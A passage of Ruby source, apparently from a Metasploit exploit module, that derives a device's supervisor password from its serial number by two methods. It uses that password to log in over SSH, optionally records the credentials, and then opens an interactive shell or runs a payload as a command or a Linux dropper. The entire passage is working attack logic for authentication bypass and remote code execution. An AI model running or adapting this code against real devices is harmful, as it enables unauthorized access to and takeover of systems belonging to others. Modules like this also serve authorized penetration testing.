supervisor password.') else supervisor_pwd = crack_supervisor_pwd(@config['serial']) end # try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2 if do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method3'], @config['ssh_port']) print_status('Authentication with derived supervisor password using Method3 is successful.') report_creds(@config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED'] elsif do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method2'], @config['ssh_port']) print_status('Authentication with derived supervisor password using Method2 is successful.') report_creds(@config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED'] else fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.') end if target.name == 'Interactive SSH' handler(ssh_socket) return end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager(linemax: 500) end @timeout ? ssh_socket.shutdown! : ssh_socket.close end end </code></pre>